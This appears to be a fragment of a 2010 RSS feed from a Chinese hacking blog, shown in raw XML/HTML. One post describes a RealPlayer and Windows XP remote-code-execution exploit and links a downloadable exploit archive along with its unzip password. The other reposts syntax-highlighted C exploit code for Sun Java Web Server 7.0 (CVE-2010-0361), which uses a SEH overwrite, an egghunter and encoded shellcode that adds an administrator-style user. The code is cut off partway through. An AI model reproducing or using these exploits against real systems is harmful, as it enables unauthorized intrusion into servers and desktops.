		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.spookzang.net/?p=1898</guid>
		<description><![CDATA[这个漏洞是利用了Windows Xp的RCE漏洞(Windows Xp 帮助漏洞)，从而使得安装过Real Player 的用户能在播放的时候，触发漏洞，从而执行黑客所想执行那个的程序。]]></description>
			<content:encoded><![CDATA[<p>这个漏洞是利用了Windows Xp的<a href="http://www.spookzang.net/article/1891">RCE漏洞</a>。从而使得安装过Real Player 的用户能在播放的时候，触发漏洞，从而执行黑客所想执行那个的程序。（如图）</p>
<p><a href="http://image.spookzang.net//2010/07/14275.png"><img src="http://image.spookzang.net//2010/07/14275.png" alt="" title="14275" width="1023" height="690" class="alignnone size-full wp-image-1899" /></a></p>
<p><a href='http://image.spookzang.net//2010/07/rp-0day.zip'>漏洞利用程序下载：rp-0day</a><br />
<strong>解压密码为:1</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.spookzang.net/article/1898/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Java Web Sever 7.0 远程漏洞</title>
		<link>http://www.spookzang.net/article/1880</link>
		<comments>http://www.spookzang.net/article/1880#comments</comments>
		<pubDate>Sun, 04 Jul 2010 06:21:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[编程溢出]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.spookzang.net/?p=1880</guid>
		<description><![CDATA[Java Web Sever 7.0的远程漏洞,附加上漏洞利用代码.]]></description>
			<content:encoded><![CDATA[<p>作者：dmc</p>
<p><a href='http://image.spookzang.net//2010/07/14194.zip'>代码下载</a></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/* Sun Java Web Server Exploit
 * Tested on:
 * Sun Java Web Server 7.0 update 7 - XP SP3
 * Ref: CVE-2010-0361
 * This vulnerability was identified by Evgeny Legerov
 *
 * Author: Dominic Chell &lt;dmc@deadbeef.co.uk&gt;
 * Date: 23/01/2010
 */</span>
&nbsp;
<span style="color: #339933;">#include &quot;stdafx.h&quot;</span>
<span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #339933;">#include &lt;errno.h&gt;</span>
<span style="color: #339933;">#include &lt;string.h&gt;</span>
<span style="color: #339933;">#include &quot;winsock2.h&quot;</span>
&nbsp;
<span style="color: #339933;">#pragma comment(lib, &quot;ws2_32&quot;)</span>
&nbsp;
<span style="color: #339933;">#define usage(){ (void)fprintf(stderr, &quot;SJWSex vs Sun Java Web Server 7.0 u7\n(C) dmc &lt;dmc@deadbeef.co.uk&gt;\n\nExample: sjwsex.exe [ip] [port] [directory]\n&quot;);}</span>
<span style="color: #339933;">#define error(e){ (void)fprintf(stderr,&quot;%s\n&quot;,e); return -1;}</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// encoding the payloads in URL hex prevents it getting converted to unicode</span>
<span style="color: #993333;">char</span> seh<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;%ee%7b%01%12&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 0x12017bee</span>
<span style="color: #993333;">char</span> nextseh<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;%eb%10%90%90&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// jmp</span>
<span style="color: #993333;">char</span> <span style="color: #339933;">*</span>nop <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;%90&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// nop</span>
<span style="color: #993333;">char</span> egghunter<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;%66%81%CA%FF%0F%42%52%6A%02%58%CD%2E%3C%05%5A%74%EF%B8%77%30%30%74%8B%FA%AF%75%EA%AF%75%E7%FF%E7&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">char</span> <span style="color: #339933;">*</span>egg <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;%77%30%30%74%77%30%30%74&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// w00tw00t</span>
<span style="color: #666666; font-style: italic;">// adduser r00t / r00tr00t123</span>
<span style="color: #993333;">char</span> shellcode<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>
       <span style="color: #ff0000;">&quot;%89%e6%db%cd%d9%76%f4%58%50%59%49%49%49%49%43&quot;</span>
       <span style="color: #ff0000;">&quot;%43%43%43%43%43%51%5a%56%54%58%33%30%56%58%34&quot;</span>
       <span style="color: #ff0000;">&quot;%41%50%30%41%33%48%48%30%41%30%30%41%42%41%41&quot;</span>
       <span style="color: #ff0000;">&quot;%42%54%41%41%51%32%41%42%32%42%42%30%42%42%58&quot;</span>
       <span style="color: #ff0000;">&quot;%50%38%41%43%4a%4a%49%4b%4c%4d%38%4b%39%45%50&quot;</span>
       <span style="color: #ff0000;">&quot;%45%50%43%30%43%50%4d%59%4b%55%46%51%48%52%42&quot;</span>
       <span style="color: #ff0000;">&quot;%44%4c%4b%46%32%50%30%4c%4b%46%32%44%4c%4c%4b&quot;</span>
       <span style="color: #ff0000;">&quot;%51%42%44%54%4c%4b%42%52%46%48%44%4f%4f%47%51&quot;</span>
       <span style="color: #ff0000;">&quot;%5a%47%56%46%51%4b%4f%50%31%49%50%4e%4c%47%4c&quot;</span>
       <span style="color: #ff0000;">&quot;%43%51%43%4c%45%52%46%4c%47%50%49%51%48%4f%44&quot;</span>
       <span style="color: #ff0000;">&quot;%4d%43%31%48%47%4d%32%4c%30%46%32%46%37%4c%4b&quot;</span>
       <span style="color: #ff0000;">&quot;%50%52%44%50%4c%4b%47%32%47%4c%45%51%48%50%4c&quot;</span>
       <span style="color: #ff0000;">&quot;%4b%51%50%43%48%4d%55%49%50%44%34%51%5a%45%51&quot;</span>
       <span style="color: #ff0000;">&quot;%48%50%50%50%4c%4b%47%38%44%58%4c%4b%50%58%51&quot;</span>
       <span style="color: #ff0000;">&quot;%30%45%51%4e%33%4a%43%47%4c%51%59%4c%4b%47%44&quot;</span>
       <span style="color: #ff0000;">&quot;%4c%4b%45%51%4e%36%46%51%4b%4f%46%51%49%50%4e&quot;</span>
       <span style="color: #ff0000;">&quot;%4c%49%51%48%4f%44%4d%43%31%48%47%50%38%4b%50&quot;</span>
       <span style="color: #ff0000;">&quot;%43%45%4a%54%43%33%43%4d%4b%48%47%4b%43%4d%47&quot;</span>
       <span style="color: #ff0000;">&quot;%54%43%45%4a%42%46%38%4c%4b%50%58%46%44%45%51&quot;</span>
       <span style="color: #ff0000;">&quot;%48%53%42%46%4c%4b%44%4c%50%4b%4c%4b%50%58%45&quot;</span>
       <span style="color: #ff0000;">&quot;%4c%43%31%49%43%4c%4b%44%44%4c%4b%45%51%4e%30&quot;</span>
       <span style="color: #ff0000;">&quot;%4d%59%50%44%47%54%46%44%51%4b%51%4b%45%31%50&quot;</span>
       <span style="color: #ff0000;">&quot;%59%50%5a%46%31%4b%4f%4b%50%46%38%51%4f%50%5a&quot;</span>
       <span style="color: #ff0000;">&quot;%4c%4b%42%32%4a%4b%4b%36%51%4d%43%5a%43%31%4c&quot;</span>
       <span style="color: #ff0000;">&quot;%4d%4b%35%4e%59%45%50%43%30%43%30%46%30%43%58&quot;</span>
       <span style="color: #ff0000;">&quot;%46%51%4c%4b%42%4f%4d%57%4b%4f%48%55%4f%4b%4b&quot;</span>
       <span style="color: #ff0000;">&quot;%50%45%4d%46%4a%45%5a%45%38%49%36%4a%35%4f%4d&quot;</span>
       <span style="color: #ff0000;">&quot;%4d%4d%4b%4f%48%55%47%4c%45%56%43%4c%44%4a%4d&quot;</span>
       <span style="color: #ff0000;">&quot;%50%4b%4b%4d%30%42%55%44%45%4f%4b%50%47%42%33&quot;</span>
       <span style="color: #ff0000;">&quot;%42%52%42%4f%42%4a%43%30%46%33%4b%4f%4e%35%45&quot;</span>
       <span style="color: #ff0000;">&quot;%33%42%4d%45%34%46%4e%43%55%44%38%45%35%51%30&quot;</span>
       <span style="color: #ff0000;">&quot;%46%4f%43%53%47%50%42%4e%45%35%42%54%51%30%43&quot;</span>
       <span style="color: #ff0000;">&quot;%45%42%53%45%35%43%42%51%30%44%32%50%30%46%50&quot;</span>
       <span style="color: #ff0000;">&quot;%42%54%51%30%43%42%46%50%46%50%42%54%44%32%50&quot;</span>
       <span style="color: #ff0000;">&quot;%30%46%50%43%44%46%51%46%52%46%53%47%50%46%4f&quot;</span>
       <span style="color: #ff0000;">&quot;%51%51%50%44%51%54%47%50%51%36%46%46%51%30%42&quot;</span>
       <span style="color: #ff0000;">&quot;%4e%43%55%44%34%51%30%42%4c%42%4f%45%33%45%31&quot;</span>
       <span style="color: #ff0000;">&quot;%42%4c%43%57%43%42%42%4f%44%35%42%50%47%50%51&quot;</span>
       <span style="color: #ff0000;">&quot;%51%42%44%42%4d%45%39%42%4e%43%59%42%53%44%34&quot;</span>
       <span style="color: #ff0000;">&quot;%44%32%45%31%43%44%42%4f%43%42%42%53%51%30%42&quot;</span>
       <span style="color: #ff0000;">&quot;%52%46%50%46%50%42%54%51%30%46%4f%47%31%50%44&quot;</span>
       <span style="color: #ff0000;">&quot;%51%54%45%50%45%5a%41%41&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #993333;">int</span> send_buffer<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> ipaddr<span style="color: #339933;">,</span> <span style="color: #993333;">int</span> port<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>buffer<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
       SOCKET s<span style="color: #339933;">;</span>
       <span style="color: #993333;">struct</span> fd_set mask<span style="color: #339933;">;</span>
       <span style="color: #993333;">struct</span> timeval timeout<span style="color: #339933;">;</span>
       <span style="color: #993333;">struct</span> sockaddr_in server<span style="color: #339933;">;</span>
       WSADATA info<span style="color: #339933;">;</span>
       <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>WSAStartup<span style="color: #009900;">&#40;</span>MAKEWORD<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">2</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>info<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> error<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Unable to start WSA&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       s<span style="color: #339933;">=</span>socket<span style="color: #009900;">&#40;</span>AF_INET<span style="color: #339933;">,</span>SOCK_STREAM<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>s<span style="color: #339933;">==</span>INVALID_SOCKET<span style="color: #009900;">&#41;</span> error<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[*] socket error&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       server.<span style="color: #202020;">sin_family</span><span style="color: #339933;">=</span>AF_INET<span style="color: #339933;">;</span>
       server.<span style="color: #202020;">sin_addr</span>.<span style="color: #202020;">s_addr</span><span style="color: #339933;">=</span>htonl<span style="color: #009900;">&#40;</span>ipaddr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       server.<span style="color: #202020;">sin_port</span><span style="color: #339933;">=</span>htons<span style="color: #009900;">&#40;</span>port<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       WSAConnect<span style="color: #009900;">&#40;</span>s<span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> sockaddr <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>server<span style="color: #339933;">,</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>server<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>NULL<span style="color: #339933;">,</span>NULL<span style="color: #339933;">,</span>NULL<span style="color: #339933;">,</span>NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       timeout.<span style="color: #202020;">tv_sec</span><span style="color: #339933;">=</span><span style="color: #0000dd;">3</span><span style="color: #339933;">;</span>timeout.<span style="color: #202020;">tv_usec</span><span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>FD_ZERO<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>mask<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>FD_SET<span style="color: #009900;">&#40;</span>s<span style="color: #339933;">,&amp;</span>mask<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       select<span style="color: #009900;">&#40;</span>s<span style="color: #339933;">+</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span>NULL<span style="color: #339933;">,&amp;</span>mask<span style="color: #339933;">,</span>NULL<span style="color: #339933;">,&amp;</span>timeout<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>FD_ISSET<span style="color: #009900;">&#40;</span>s<span style="color: #339933;">,&amp;</span>mask<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
       <span style="color: #009900;">&#123;</span>
               <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>send<span style="color: #009900;">&#40;</span>s<span style="color: #339933;">,</span>buffer<span style="color: #339933;">,</span>strlen<span style="color: #009900;">&#40;</span>buffer<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span>SOCKET_ERROR<span style="color: #009900;">&#41;</span> error<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[*] error sending buffer<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
               closesocket<span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
               <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
       <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
       <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>verb<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;GET /&quot;</span><span style="color: #339933;">;</span>
       <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>options<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;OPTIONS /&quot;</span><span style="color: #339933;">;</span>
       <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>version<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot; HTTP/1.0&quot;</span><span style="color: #339933;">;</span>
       <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>directory<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;&quot;</span><span style="color: #339933;">;</span>
       <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>payload<span style="color: #339933;">,</span> <span style="color: #339933;">*</span>ptr<span style="color: #339933;">,</span> <span style="color: #339933;">*</span>buffer<span style="color: #339933;">;</span>
       <span style="color: #993333;">char</span> nops<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">31</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> padding<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">130</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
       <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>argc <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">4</span><span style="color: #009900;">&#41;</span>
       <span style="color: #009900;">&#123;</span>
               usage<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
               <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
       <span style="color: #009900;">&#125;</span>
&nbsp;
       memset<span style="color: #009900;">&#40;</span>nops<span style="color: #339933;">,</span> <span style="color: #208080;">0x00</span><span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>nops<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       memset<span style="color: #009900;">&#40;</span>padding<span style="color: #339933;">,</span> <span style="color: #208080;">0x00</span><span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>padding<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       <span style="color: #993333;">int</span> ipaddr<span style="color: #339933;">=</span>htonl<span style="color: #009900;">&#40;</span>inet_addr<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> port<span style="color: #339933;">=</span>atoi<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       directory <span style="color: #339933;">=</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
       fprintf<span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;SJWSex vs Sun Java Web Server 7.0 u7<span style="color: #000099; font-weight: bold;">\n</span>(C) dmc &lt;dmc@deadbeef.co.uk&gt;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       <span style="color: #666666; font-style: italic;">// build payload and place shellcode in memory</span>
       payload <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>malloc<span style="color: #009900;">&#40;</span>strlen<span style="color: #009900;">&#40;</span>egg<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>strlen<span style="color: #009900;">&#40;</span>shellcode<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>strlen<span style="color: #009900;">&#40;</span>verb<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>strlen<span style="color: #009900;">&#40;</span>version<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       memset<span style="color: #009900;">&#40;</span>payload<span style="color: #339933;">,</span> <span style="color: #208080;">0x00</span><span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>payload<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       ptr<span style="color: #339933;">=</span>payload<span style="color: #339933;">;</span>
&nbsp;
       memcpy<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span> verb<span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>verb<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       ptr<span style="color: #339933;">+=</span>strlen<span style="color: #009900;">&#40;</span>verb<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       memcpy<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span> egg<span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>egg<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       ptr<span style="color: #339933;">+=</span>strlen<span style="color: #009900;">&#40;</span>egg<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       memcpy<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span> shellcode<span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>shellcode<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       ptr<span style="color: #339933;">+=</span>strlen<span style="color: #009900;">&#40;</span>shellcode<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       memcpy<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span> version<span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>version<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       ptr<span style="color: #339933;">+=</span>strlen<span style="color: #009900;">&#40;</span>version<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       memcpy<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #006699; font-weight: bold;">\0</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       fprintf<span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;%s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;[*] Filling memory with shellcode&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> i<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> i<span style="color: #339933;">&lt;</span><span style="color: #0000dd;">4</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
       <span style="color: #009900;">&#123;</span>
               send_buffer<span style="color: #009900;">&#40;</span>ipaddr<span style="color: #339933;">,</span> port<span style="color: #339933;">,</span> payload<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       <span style="color: #009900;">&#125;</span>
&nbsp;
       <span style="color: #666666; font-style: italic;">// build final buffer and overwrite seh</span>
       <span style="color: #666666; font-style: italic;">// [ OPTIONS / | DIRECTORY | PADDING | EGG | SHELLLCODE | NEXTSEH | SEH | NOPS | EGGHUNTER | HTTPVERSION ]</span>
       buffer<span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>malloc<span style="color: #009900;">&#40;</span>strlen<span style="color: #009900;">&#40;</span>options<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>strlen<span style="color: #009900;">&#40;</span>directory<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>strlen<span style="color: #009900;">&#40;</span>egg<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>strlen<span style="color: #009900;">&#40;</span>shellcode<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>strlen<span style="color: #009900;">&#40;</span>nextseh<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>strlen<span style="color: #009900;">&#40;</span>seh<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>strlen<span style="color: #009900;">&#40;</span>egghunter<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>strlen<span style="color: #009900;">&#40;</span>version<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #0000dd;">163</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       memset<span style="color: #009900;">&#40;</span>buffer<span style="color: #339933;">,</span> <span style="color: #208080;">0x00</span><span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>buffer<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       ptr<span style="color: #339933;">=</span>buffer<span style="color: #339933;">;</span>
&nbsp;
       memcpy<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span> options<span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>options<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       ptr<span style="color: #339933;">+=</span>strlen<span style="color: #009900;">&#40;</span>options<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       memcpy<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span> directory<span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>directory<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       ptr<span style="color: #339933;">+=</span>strlen<span style="color: #009900;">&#40;</span>directory<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       memcpy<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;/&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       ptr<span style="color: #339933;">++;</span>
&nbsp;
       <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> i<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span><span style="color: #0000dd;">129</span><span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
               padding<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'A'</span><span style="color: #339933;">;</span>
&nbsp;
       memcpy<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span> padding<span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>padding<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       ptr<span style="color: #339933;">+=</span>strlen<span style="color: #009900;">&#40;</span>padding<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       memcpy<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span> egg<span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>egg<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       ptr<span style="color: #339933;">+=</span>strlen<span style="color: #009900;">&#40;</span>egg<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       memcpy<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span> shellcode<span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>shellcode<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       ptr<span style="color: #339933;">+=</span>strlen<span style="color: #009900;">&#40;</span>shellcode<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       memcpy<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span> nextseh<span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>nextseh<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       ptr<span style="color: #339933;">+=</span>strlen<span style="color: #009900;">&#40;</span>nextseh<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       memcpy<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span> seh<span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>seh<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       ptr<span style="color: #339933;">+=</span>strlen<span style="color: #009900;">&#40;</span>seh<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> i<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span><span style="color: #0000dd;">10</span><span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
